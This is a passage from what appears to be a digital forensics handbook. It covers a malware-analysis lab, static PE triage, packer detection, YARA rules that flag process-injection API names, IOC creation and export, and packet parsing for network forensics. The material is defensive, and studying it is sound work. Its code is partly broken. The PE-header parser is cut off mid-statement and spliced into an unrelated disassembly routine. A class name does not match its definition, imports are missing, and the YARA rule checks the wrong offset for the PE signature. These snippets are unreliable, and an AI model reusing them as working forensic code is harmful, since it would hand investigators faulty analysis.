days |\n| Dynamic Analysis | Running malware in controlled environment | Sandboxes, Process Monitor, Wireshark | Hours |\n| Code Analysis | Deep reverse engineering | Debuggers, disassemblers | Days to weeks |\n| Memory Analysis | Examining malware in RAM | Volatility, Rekall | Hours |\n| Network Analysis | Capturing communication | Wireshark, tcpdump, INetSim | Hours |\n\n#### Malware Analysis Lab Setup\n\n**Physical Lab Requirements:**\n\n```\nHardware:\n- Isolated network (no internet)\n- Multiple analysis machines\n- Hardware write blockers\n- Network tap for monitoring\n- External storage for evidence\n\nSoftware:\n- Virtualization (VMware, VirtualBox)\n- Snapshot capability\n- Network simulation (INetSim, FakeDNS)\n- Monitoring tools\n- Analysis tools\n```\n\n**Virtual Lab Configuration:**\n\n```python\ndef setup_malware_lab():\n    \"\"\"Configure virtual lab for malware analysis\"\"\"\n    \n    lab_config = {\n        'host_only_network': '192.168.56.0/24',\n        'analysis_vm': {\n            'ip': '192.168.56.10',\n            'os': 'Windows 10',\n            'tools': [\n                'Process Monitor',\n                'Process Explorer',\n                'Wireshark',\n                'Regshot',\n                'API Monitor',\n                'OllyDbg',\n                'x64dbg'\n            ]\n        },\n        'monitoring_vm': {\n            'ip': '192.168.56.20',\n            'os': 'Ubuntu',\n            'services': {\n                'dns': 'FakeDNS',\n                'http': 'INetSim',\n                'smtp': 'INetSim',\n                'ftp': 'pyftpdlib'\n            },\n            'tools': [\n                'tcpdump',\n                'Wireshark',\n                'Snort',\n                'Bro/Zeek'\n            ]\n        }\n    }\n    \n    return lab_config\n```\n\n---\n\n### 10.2 Static Analysis Workflow\n\nStatic analysis examines malware without executing it.\n\n#### Initial Triage\n\n```python\nimport hashlib\nimport pefile\nimport struct\nfrom datetime import datetime\n\ndef initial_malware_triage(file_path):\n    \"\"\"Perform initial static analysis on suspected malware\"\"\"\n    \n    results = {}\n    \n    # 1. Calculate hashes\n    with open(file_path, 'rb') as f:\n        data = f.read()\n        results['md5'] = hashlib.md5(data).hexdigest()\n        results['sha1'] = hashlib.sha1(data).hexdigest()\n        results['sha256'] = hashlib.sha256(data).hexdigest()\n    \n    # 2. Get file info\n    stat = os.stat(file_path)\n    results['size'] = stat.st_size\n    results['created'] = datetime.fromtimestamp(stat.st_ctime)\n    results['modified'] = datetime.fromtimestamp(stat.st_mtime)\n    \n    # 3. Check file type\n    import magic\n    results['file_type'] = magic.from_file(file_path)\n    results['mime_type'] = magic.from_file(file_path, mime=True)\n    \n    # 4. Strings extraction\n    results['strings'] = extract_strings(file_path, min_length=4)\n    \n    # 5. Check for known signatures (YARA)\n    results['yara_matches'] = scan_with_yara(file_path)\n    \n    return results\n\ndef extract_strings(file_path, min_length=4):\n    \"\"\"Extract ASCII and Unicode strings from file\"\"\"\n    \n    strings = []\n    \n    with open(file_path, 'rb') as f:\n        data = f.read()\n    \n    # ASCII strings\n    current = ''\n    for byte in data:\n        if 32 <= byte <= 126:  # Printable ASCII\n            current += chr(byte)\n        else:\n            if len(current) >= min_length:\n                strings.append(('ascii', current))\n            current = ''\n    \n    # Unicode strings (simplified - would need proper UTF-16 parsing)\n    for i in range(0, len(data)-1, 2):\n        if data[i] == 0 and 32 <= data[i+1] <= 126:\n            # Potential Unicode\n            pass\n    \n    return strings\n```\n\n#### PE File Analysis\n\n```python\ndef analyze_pe_file(file_path):\n    \"\"\"Perform deep analysis of PE file structure\"\"\"\n    \n    pe = pefile.PE(file_path)\n    \n    analysis = {\n        'dos_header': {},\n        'file_header': {},\n        'optional_header': {},\n        'sections': [],\n        'imports': [],\n        'exports': [],\n        'resources': [],\n        'certificates': []\n    }\n    \n    # DOS Header\n    analysis['dos_header'] = {\n        'e_magic': hex(pe.DOS_HEADER.e_magic),\n        'e_lfanew': pe.DOS_HEADER.e_lfanew\n    }\n    \n    # File Header\n    analysis['file_header'] = {\n        'machine': hex(pe.FILE_HEADER.Machine),\n        'number_of_sections': pe.FILE_HEADER.NumberOfSections,\n        'time_date_stamp': pe.FILE_HEADER.TimeDateStamp,\n        'datetime': datetime.fromtimestamp(pe.FILE_HEADER.TimeDateStamp),\n        'characteristics': hex(pe.FILE_HEADER.Characteristics)\n    }\n    \n    # Optional Header\n    analysis['optional_header'] = {\n        'magic': hex(pe.OPTIONAL_HEADER.Magic),\n        'address_of_entry_point': hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint),\n        'image_base': hex(pe.OPTIONAL_HEADER.ImageBase),\n        'section_alignment': pe.OPTIONAL_HEADER.SectionAlignment,\n        'file_alignment': pe.OPTIONAL_HEADER.FileAlignment,\n        'major_subsystem_version': pe.OPTIONAL_HEADER.MajorSubsystemVersion,\n        'subsystem': pe.OPTIONAL_HEADER.Subsystem,\n        'dll_characteristics': hex(pe.OPTIONAL_HEADER.DllCharacteristics)\n    }\n    \n    # Sections\n    for section in pe.sections:\n        section_info = {\n            'name': section.Name.decode().strip('\\x00'),\n            'virtual_address': hex(section.VirtualAddress),\n            'virtual_size': section.Misc_VirtualSize,\n            'raw_size': section.SizeOfRawData,\n            'characteristics': hex(section.Characteristics),\n            'entropy': section.get_entropy()\n        }\n        analysis['sections'].append(section_info)\n    \n    # Imports\n    if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):\n        for entry in pe.DIRECTORY_ENTRY_IMPORT:\n            dll = entry.dll.decode()\n            for imp in entry.imports:\n                if imp.name:\n                    analysis['imports'].append({\n                        'dll': dll,\n                        'name': imp.name.decode(),\n                        'address': hex(imp.address)\n                    })\n    \n    # Exports\n    if hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):\n        for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:\n            analysis['exports'].append({\n                'name': exp.name.decode() if exp.name else '',\n                'address': hex(exp.address),\n                'ordinal': exp.ordinal\n            })\n    \n    # Resources\n    if hasattr(pe, 'DIRECTORY_ENTRY_RESOURCE'):\n        for resource_type in pe.DIRECTORY_ENTRY_RESOURCE.entries:\n            if hasattr(resource_type, 'directory'):\n                for resource_id in resource_type.directory.entries:\n                    if hasattr(resource_id, 'directory'):\n                        for resource_lang in resource_id.directory.entries:\n                            data = pe.get_data(resource_lang.data.struct.OffsetToData, \n                                             resource_lang.data.struct.Size)\n                            analysis['resources'].append({\n                                'type': resource_type.name,\n                                'id': resource_id.name if hasattr(resource_id, 'name') else resource_id.id,\n                                'language': resource_lang.id,\n                                'size': len(data),\n                                'entropy': calculate_entropy(data)\n                            })\n    \n    return analysis\n\n# Analyze malware sample\npe_analysis = analyze_pe_file('malware.exe')\nprint(f\"Compile time: {pe_analysis['file_header']['datetime']}\")\nprint(f\"Entry point: {pe_analysis['optional_header']['address_of_entry_point']}\")\nprint(f\"Sections: {len(pe_analysis['sections'])}\")\nfor section in pe_analysis['sections']:\n    print(f\"  {section['name']}: entropy={section['entropy']:.2f}\")\n```\n\n#### Detecting Packers and Obfuscation\n\n```python\ndef detect_packing(pe_analysis):\n    \"\"\"Detect if PE file is packed or obfuscated\"\"\"\n    \n    indicators = []\n    \n    # 1. High section entropy\n    for section in pe_analysis['sections']:\n        if section['entropy'] > 7.0:\n            indicators.append({\n                'type': 'high_entropy',\n                'section': section['name'],\n                'entropy': section['entropy']\n            })\n    \n    # 2. Few imports (typical of packed files)\n    if len(pe_analysis['imports']) < 10:\n        indicators.append({\n            'type': 'few_imports',\n            'count': len(pe_analysis['imports'])\n        })\n    \n    # 3. Suspicious section names\n    suspicious_sections = ['UPX', 'UPX0', 'UPX1', 'UPX2', 'ASPack', 'PACK', \n                          'THEMIDA', 'ENIGMA', 'VMProtect', 'VProtect']\n    \n    for section in pe_analysis['sections']:\n        if any(sus in section['name'] for sus in suspicious_sections):\n            indicators.append({\n                'type': 'suspicious_section',\n                'name': section['name']\n            })\n    \n    # 4. Raw size vs virtual size discrepancy\n    for section in pe_analysis['sections']:\n        if section['virtual_size'] > section['raw_size'] * 10:\n            indicators.append({\n                'type': 'size_discrepancy',\n                'section': section['name'],\n                'virtual': section['virtual_size'],\n                'raw': section['raw_size']\n            })\n    \n    # 5. Entry point in unusual section\n    entry_section = None\n    entry_rva = int(pe_analysis['optional_header']['address_of_entry_point'], 16)\n    \n    for section in pe_analysis['sections']:\n        start = int(section['virtual_address'], 16)\n        end = start + section['virtual_size']\n        if start <= entry_rva < end:\n            entry_section = section['name']\n            break\n    \n    if entry_section not in ['.text', 'CODE']:\n        indicators.append({\n            'type': 'unusual_entry',\n            'section': entry_section\n        })\n    \n    return indicators\n\n# Check for packing\npacking = detect_packing(pe_analysis)\nif packing:\n    print(\"Packing indicators detected:\")\n    for ind in packing:\n        print(f\"  {ind['type']}: {ind}\")\n```\n\n---\n\n### 10.3 PE File Structure Deep Dive\n\n#### PE File Format\n\n```\nDOS MZ Header (64 bytes)\n    \u2193\nDOS Stub (variable)\n    \u2193\nPE Header (4 bytes - \"PE\\0\\0\")\n    \u2193\nFile Header (20 bytes)\n    \u2193\nOptional Header (usually 224 bytes)\n    \u2193\nSection Headers (array)\n    \u2193\nSections (data)\n```\n\n#### Parsing PE Headers Manually\n\n```python\ndef parse_pe_headers(file_path):\n    \"\"\"Manually parse PE headers without pefile\"\"\"\n    \n    with open(file_path, 'rb') as f:\n        data = f.read()\n    \n    # Check DOS header\n    if data[0:2] != b'MZ':\n        raise ValueError(\"Not a valid PE file\")\n    \n    # Get PE header offset\n    pe_offset = struct.unpack(' 1000:  # Limit output\n            break\n    \n    return instructions\n\ndef find_string_references(disassembly):\n    \"\"\"Find references to strings in disassembly\"\"\"\n    \n    string_refs = []\n    \n    for insn in disassembly:\n        # Look for push instructions with addresses\n        if insn['mnemonic'] == 'push':\n            try:\n                addr = int(insn['operands'], 16)\n                if addr > 0x400000 and addr < 0x80000000:  # User-mode address range\n                    string_refs.append({\n                        'instruction': f\"{insn['address']}: {insn['mnemonic']} {insn['operands']}\",\n                        'referenced_address': hex(addr)\n                    })\n            except:\n                pass\n    \n    return string_refs\n```\n\n#### Identifying API Calls\n\n```python\ndef identify_api_calls(disassembly, imports):\n    \"\"\"Identify API calls in disassembly\"\"\"\n    \n    api_calls = []\n    \n    # Common patterns for API calls\n    patterns = [\n        ('call', 'eax'),\n        ('call', 'ecx'),\n        ('call', 'edx'),\n        ('call', 'ebx'),\n        ('call', 'esi'),\n        ('call', 'edi'),\n        ('call', 'ebp'),\n        ('call', '[eax]'),\n        ('call', '[ecx]'),\n        ('call', '[edx]'),\n        ('call', '[ebx]'),\n        ('call', '[esi]'),\n        ('call', '[edi]'),\n        ('call', '[ebp]'),\n    ]\n    \n    for i, insn in enumerate(disassembly):\n        for pattern in patterns:\n            if insn['mnemonic'] == pattern[0] and pattern[1] in insn['operands']:\n                # Look back for loading of API address\n                for j in range(max(0, i-10), i):\n                    prev = disassembly[j]\n                    if 'mov' in prev['mnemonic'] and 'eax' in prev['operands']:\n                        # Check if moving an import address\n                        for imp in imports:\n                            if imp['address'] in prev['operands']:\n                                api_calls.append({\n                                    'address': insn['address'],\n                                    'api': imp['name'],\n                                    'dll': imp['dll']\n                                })\n                                break\n    \n    return api_calls\n```\n\n#### Control Flow Graph Generation\n\n```python\ndef generate_control_flow(disassembly):\n    \"\"\"Generate simple control flow graph\"\"\"\n    \n    nodes = {}\n    edges = []\n    \n    for i, insn in enumerate(disassembly):\n        nodes[insn['address']] = {\n            'instruction': f\"{insn['mnemonic']} {insn['operands']}\",\n            'type': 'normal'\n        }\n        \n        # Identify jumps\n        if insn['mnemonic'] in ['jmp', 'je', 'jne', 'jg', 'jl', 'jge', 'jle']:\n            try:\n                target = insn['operands'].split()[0]  # Get first operand\n                if target.startswith('0x'):\n                    edges.append({\n                        'from': insn['address'],\n                        'to': target,\n                        'type': insn['mnemonic']\n                    })\n            except:\n                pass\n            \n            # Sequential flow after jump\n            if i < len(disassembly) - 1:\n                next_addr = disassembly[i+1]['address']\n                edges.append({\n                    'from': insn['address'],\n                    'to': next_addr,\n                    'type': 'sequential'\n                })\n    \n    return {'nodes': nodes, 'edges': edges}\n```\n\n---\n\n### 10.6 YARA Rules for Malware Detection\n\n#### Creating YARA Rules\n\n```yaml\nrule Suspicious_Malware_Generic\n{\n    meta:\n        description = \"Generic rule for suspicious malware\"\n        author = \"Forensic Examiner\"\n        date = \"2023-06-15\"\n        severity = \"high\"\n    \n    strings:\n        $s1 = \"CreateRemoteThread\" nocase\n        $s2 = \"VirtualAllocEx\" nocase\n        $s3 = \"WriteProcessMemory\" nocase\n        $s4 = \"SetWindowsHookEx\" nocase\n        $s5 = \"GetProcAddress\" nocase\n        \n        $mz = \"MZ\"\n        $pe = \"PE\\x00\\x00\"\n        \n        $ip1 = \"http://\" ascii\n        $ip2 = \"https://\" ascii\n        $ip3 = \"ftp://\" ascii\n        \n        $crypt1 = \"AES\" ascii\n        $crypt2 = \"RSA\" ascii\n        $crypt3 = \"RC4\" ascii\n        \n    condition:\n        $mz at 0 and $pe at 0x3C and\n        (2 of ($s*)) and\n        (any of ($ip*))\n}\n```\n\n#### Scanning with YARA\n\n```python\nimport yara\n\ndef compile_yara_rules(rule_files):\n    \"\"\"Compile YARA rules from files\"\"\"\n    \n    rules = yara.compile(filepaths=rule_files)\n    return rules\n\ndef scan_file_with_yara(file_path, rules):\n    \"\"\"Scan file with YARA rules\"\"\"\n    \n    matches = rules.match(file_path)\n    \n    results = []\n    for match in matches:\n        rule_result = {\n            'rule': match.rule,\n            'namespace': match.namespace,\n            'tags': match.tags,\n            'meta': match.meta,\n            'strings': []\n        }\n        \n        for string_match in match.strings:\n            rule_result['strings'].append({\n                'identifier': string_match.identifier,\n                'data': string_match.instances[0].matched_data[:50].hex() if string_match.instances else ''\n            })\n        \n        results.append(rule_result)\n    \n    return results\n\ndef scan_memory_with_yara(process_memory, rules):\n    \"\"\"Scan process memory with YARA rules\"\"\"\n    \n    matches = rules.match(data=process_memory)\n    \n    return [{'rule': m.rule, 'meta': m.meta} for m in matches]\n\n# Example usage\nrules = compile_yara_rules({'malware': 'malware_rules.yar'})\nmatches = scan_file_with_yara('suspicious.exe', rules)\nfor match in matches:\n    print(f\"Rule matched: {match['rule']}\")\n    print(f\"  Description: {match['meta'].get('description', 'N/A')}\")\n```\n\n---\n\n### 10.7 Building Indicators of Compromise (IOCs)\n\n#### IOC Structure\n\n```python\nclass IndicatorOfCompromise:\n    \"\"\"Structure for IOCs\"\"\"\n    \n    def __init__(self, name, description):\n        self.name = name\n        self.description = description\n        self.created = datetime.now()\n        self.modified = datetime.now()\n        self.author = \"\"\n        self.severity = \"medium\"\n        self.file_hashes = []\n        self.file_paths = []\n        self.registry_keys = []\n        self.process_names = []\n        self.network_indicators = []\n        self.mutexes = []\n        self.services = []\n        self.yara_rules = []\n    \n    def add_file_hash(self, hash_value, hash_type=\"sha256\"):\n        self.file_hashes.append({\n            'value': hash_value,\n            'type': hash_type\n        })\n    \n    def add_network_indicator(self, indicator, indicator_type=\"ip\"):\n        self.network_indicators.append({\n            'value': indicator,\n            'type': indicator_type\n        })\n    \n    def to_dict(self):\n        return {\n            'name': self.name,\n            'description': self.description,\n            'created': self.created.isoformat(),\n            'modified': self.modified.isoformat(),\n            'author': self.author,\n            'severity': self.severity,\n            'indicators': {\n                'file_hashes': self.file_hashes,\n                'file_paths': self.file_paths,\n                'registry_keys': self.registry_keys,\n                'process_names': self.process_names,\n                'network': self.network_indicators,\n                'mutexes': self.mutexes,\n                'services': self.services,\n                'yara_rules': self.yara_rules\n            }\n        }\n\n# Create IOC from analysis\ndef create_ioc_from_analysis(static_results, dynamic_results, network_results):\n    \"\"\"Create comprehensive IOC from analysis results\"\"\"\n    \n    ioc = IndicatorOfComPromise(\n        name=\"Suspicious Malware Sample\",\n        description=\"IOC from analysis of unknown malware\"\n    )\n    \n    # Add file hashes from static analysis\n    ioc.add_file_hash(static_results['sha256'], 'sha256')\n    ioc.add_file_hash(static_results['sha1'], 'sha1')\n    ioc.add_file_hash(static_results['md5'], 'md5')\n    \n    # Add file paths from dynamic analysis\n    for file_change in dynamic_results.get('files_added', []):\n        ioc.file_paths.append(file_change)\n    \n    # Add network indicators\n    for ip in network_results.get('suspicious_ips', []):\n        ioc.add_network_indicator(ip, 'ip')\n    \n    for dns in network_results.get('dns_queries', []):\n        ioc.add_network_indicator(dns['query'], 'domain')\n    \n    return ioc.to_dict()\n```\n\n#### IOC Formats\n\n```python\ndef export_ioc_to_stix(ioc):\n    \"\"\"Export IOC to STIX format\"\"\"\n    \n    import json\n    \n    stix_package = {\n        \"type\": \"bundle\",\n        \"id\": f\"bundle--{uuid.uuid4()}\",\n        \"objects\": [\n            {\n                \"type\": \"indicator\",\n                \"id\": f\"indicator--{uuid.uuid4()}\",\n                \"created\": ioc['created'],\n                \"modified\": ioc['modified'],\n                \"name\": ioc['name'],\n                \"description\": ioc['description'],\n                \"pattern\": generate_stix_pattern(ioc),\n                \"valid_from\": ioc['created'],\n                \"labels\": [ioc['severity']]\n            }\n        ]\n    }\n    \n    return json.dumps(stix_package, indent=2)\n\ndef export_ioc_to_openioc(ioc):\n    \"\"\"Export IOC to OpenIOC format\"\"\"\n    \n    import xml.etree.ElementTree as ET\n    \n    root = ET.Element(\"ioc\")\n    root.set(\"xmlns\", \"http://schemas.mandiant.com/2010/ioc\")\n    root.set(\"xmlns:xsi\", \"http://www.w3.org/2001/XMLSchema-instance\")\n    root.set(\"xsi:schemaLocation\", \"http://schemas.mandiant.com/2010/ioc ioc.xsd\")\n    \n    # Add metadata\n    meta = ET.SubElement(root, \"metadata\")\n    \n    # Add indicators\n    indicators = ET.SubElement(root, \"definition\")\n    \n    for file_hash in ioc['indicators']['file_hashes']:\n        indicator = ET.SubElement(indicators, \"Indicator\")\n        indicator.set(\"operator\", \"OR\")\n        \n        item = ET.SubElement(indicator, \"IndicatorItem\")\n        item.set(\"condition\", \"is\")\n        \n        context = ET.SubElement(item, \"Context\")\n        context.text = f\"FileItem/{file_hash['type'].upper()}\"\n        \n        content = ET.SubElement(item, \"Content\")\n        content.text = file_hash['value']\n    \n    return ET.tostring(root, encoding='unicode')\n```\n\n---\n\n\n# PART V \u2013 NETWORK & CLOUD FORENSICS\n\n---\n\n## Chapter 11 \u2013 Network Forensics\n\n---\n\n### 11.1 Introduction to Network Forensics\n\nNetwork forensics involves the monitoring, capture, storage, and analysis of network traffic to investigate security incidents, gather evidence, and reconstruct events. Unlike computer forensics which deals with persistent data, network forensics deals with volatile data that exists only for milliseconds.\n\n#### Why Network Forensics?\n\n**What network forensics reveals:**\n- Initial compromise vector (phishing, exploit, etc.)\n- Command and control communication\n- Data exfiltration attempts\n- Lateral movement within the network\n- Malware downloads and beaconing\n- Authentication attempts (successful and failed)\n- Protocol violations and anomalies\n- Timing of attacks\n- Scope of compromise\n\n**Network vs Host-based Forensics:**\n\n| Aspect | Network Forensics | Host Forensics |\n|--------|-------------------|----------------|\n| Data source | Network traffic | Disk, memory, logs |\n| Persistence | Volatile (unless captured) | Persistent |\n| Coverage | Multiple systems | Single system |\n| Visibility | Communications | Local activities |\n| Encryption | Limited | Can access after decryption |\n| Timeline | Real-time | Historical |\n\n#### Network Forensic Process\n\n```\n1. PREPARATION\n   - Define scope\n   - Identify network architecture\n   - Prepare capture points\n   - Legal authorization\n\n2. COLLECTION\n   - Packet capture (full or metadata)\n   - Flow data collection\n   - Log aggregation\n   - Preserve evidence\n\n3. EXAMINATION\n   - Filter and reduce data\n   - Reconstruct sessions\n   - Extract artifacts\n   - Identify anomalies\n\n4. ANALYSIS\n   - Timeline reconstruction\n   - Correlate with host logs\n   - Identify attack patterns\n   - Trace attacker actions\n\n5. REPORTING\n   - Document findings\n   - Create visualizations\n   - Expert testimony preparation\n```\n\n---\n\n### 11.2 TCP/IP Packet Dissection\n\nUnderstanding packet structure is fundamental to network forensics.\n\n#### OSI Model and TCP/IP Stack\n\n```\nOSI Model              TCP/IP Model          Protocols\n7. Application             |                 HTTP, FTP, SMTP\n6. Presentation            | Application      SSL/TLS\n5. Session                 |                 \n4. Transport               | Transport        TCP, UDP\n3. Network                 | Internet         IP, ICMP\n2. Data Link               | Network Access   Ethernet, WiFi\n1. Physical                |                 \n```\n\n#### Packet Structure Deep Dive\n\n**Ethernet Frame (Layer 2):**\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Destination MAC (6 bytes)                        \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Source MAC (6 bytes)                             \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Type/Length (2 bytes)                             \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Payload (46-1500 bytes)                           \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 FCS (4 bytes)                                     \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n**IPv4 Header (Layer 3):**\n```\n 0                   1                   2                   3\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|Version|  IHL  |Type of Service|          Total Length         |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|         Identification        |Flags|      Fragment Offset    |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|  Time to Live |    Protocol   |         Header Checksum       |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                       Source Address                          |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                    Destination Address                        |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                    Options                    |    Padding    |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n```\n\n**TCP Header (Layer 4):**\n```\n 0                   1                   2                   3\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|          Source Port          |       Destination Port        |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                        Sequence Number                        |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                     Acknowledgment Number                      |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n| Data  | |U|A|P|R|S|F|                                         |\n| Offset| |R|C|S|S|Y|I|             Window                      |\n|       | |G|K|H|T|N|N|                                         |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|           Checksum            |         Urgent Pointer        |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                    Options                    |    Padding    |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n```\n\n#### Packet Parsing with Python\n\n```python\nimport struct\nimport socket\nfrom datetime import datetime\n\nclass PacketParser:\n    \"\"\"Parse network packets from raw capture\"\"\"\n    \n    def __init__(self, packet_data):\n        self.raw_data = packet_data\n        self.protocols = []\n        \n    def parse_ethernet(self):\n        \"\"\"Parse Ethernet frame\"\"\"\n        eth_header = self.raw_data[0:14]\n        eth = struct.unpack('!6s6sH', eth_header)\n        \n        dest_mac = self._format_mac(eth[0])\n        src_mac = self._format_mac(eth[1])\n        eth_type = socket.ntohs(eth[2])\n        \n        self.protocols.append({\n            'layer': 'Ethernet',\n            'src_mac': src_mac,\n            'dest_mac': dest_mac,\n            'type': hex(eth_type)\n        })\n        \n        # Return next protocol data\n        return self.raw_data[14:], eth_type\n    \n    def _format_mac(self, mac_bytes):\n        \"\"\"Format MAC address bytes to string\"\"\"\n        return ':'.join(f'{b:02x}' for b in mac_bytes)\n    \n    def parse_ipv4(self, data):\n        \"\"\"Parse IPv4 header\"\"\"\n        ip_header = data[0:20]\n        iph = struct.unpack('!BBHHHBBH4s4s', ip_header)\n        \n        version_ihl = iph[0]\n        version = version_ihl >> 4\n        ihl = version_ihl & 0xF\n        ip_header_length = ihl * 4\n        \n        ttl = iph[5]\n        protocol = iph[6]\n        src_ip = socket.inet_ntoa(iph[8])\n        dest_ip = socket.inet_ntoa(iph[9])\n        \n        self.protocols.append({\n            'layer': 'IPv4',\n            'src_ip': src_ip,\n            'dest_ip': dest_ip,\n            'protocol': protocol,\n            'ttl': ttl\n        })\n        \n        return data[ip_header_length:], protocol\n    \n    def parse_tcp(self, data):\n        \"\"\"Parse TCP header\"\"\"\n        tcp_header = data[0:20]\n        tcph = struct.unpack('!HHLLBBHHH', tcp_header)\n        \n        src_port = tcph[0]\n        dest_port = tcph[1]\n        sequence = tcph[2]\n        ack = tcph[3]\n        data_offset = (tcph[4] >> 4) * 4\n        flags = tcph[5]\n        \n        # Parse TCP flags\n        flags_str = ''\n        if flags & 0x01: flags_str += 'FIN '\n        if flags & 0x02: flags_str += 'SYN '\n        if flags & 0x04: flags_str += 'RST '\n        if flags & 0x08: flags_str += 'PSH '\n        if flags & 0x10: flags_str += 'ACK '\n        if flags & 0x20: flags_str += 'URG '\n        \n        self.protocols.append({\n            'layer': 'TCP',\n            'src_port': src_port,\n            'dest_port': dest_port,\n            'sequence': sequence,\n            'ack': ack,\n            'flags': flags_str.strip()\n        })\n        \n        return data[data_offset:]\n    \n    def parse_udp(self, data):\n        \"\"\"Parse UDP header\"\"\"\n        udp_header = data[0:8]\n        udph = struct.unpack('!HHHH', udp_header)\n        \n        src_port = udph[0]\n        dest_port = udph[1]\n        length = udph[2]\n        checksum = udph[3]\n        \n        self.protocols.append({\n            'layer': 'UDP',\n            'src_port': src_port,\n            'dest_port': dest_port,\n            'length': length,\n            'checksum': checksum\n        })\n        \n        return data[8:]\n    \n    def parse_all(self):\n        \"\"\"Parse all protocol layers\"\"\"\n        data = self.raw_data\n        \n        # Ethernet\n        data, eth_type = self.parse_ethernet()\n        \n        # IP (assuming Ethernet type 0x0800 for IPv4)\n        if eth_type == 0x0800:\n            data, ip_proto = self.parse_ipv4(data)\n            \n            # Transport layer\n            if ip_proto == 6:  # TCP\n                self.parse_tcp(data)\n            elif ip_proto == 17:  # UDP\n                self.parse_udp(data)\n        \n        return self.protocols\n\n# Usage example\nwith open('capture.pcap', 'rb') as f:\n    # Skip pcap header (24 bytes) for simplicity\n    packet_data = f.read()\n    \nparser = PacketParser(packet_data)\nprotocols = parser.parse_all()\nfor p in protocols:\n    print(f\"{p['layer']}: {p}\")\n```\n\n---\n\n### 11.3 PCAP Analysis Methodology\n\nPCAP (Packet Capture) files contain raw network traffic and are the primary evidence source in network forensics.\n\n#### PCAP File Structure\n\n```\nGlobal Header (24 bytes)\n    \u2193\nPacket Header (16 bytes)\n    \u2193\nPacket Data (variable)\n    \u2193\nPacket Header (16 bytes)\n    \u2193\nPacket Data (variable)\n    \u2193\n...\n```\n\n**Global Header:**\n- Magic number 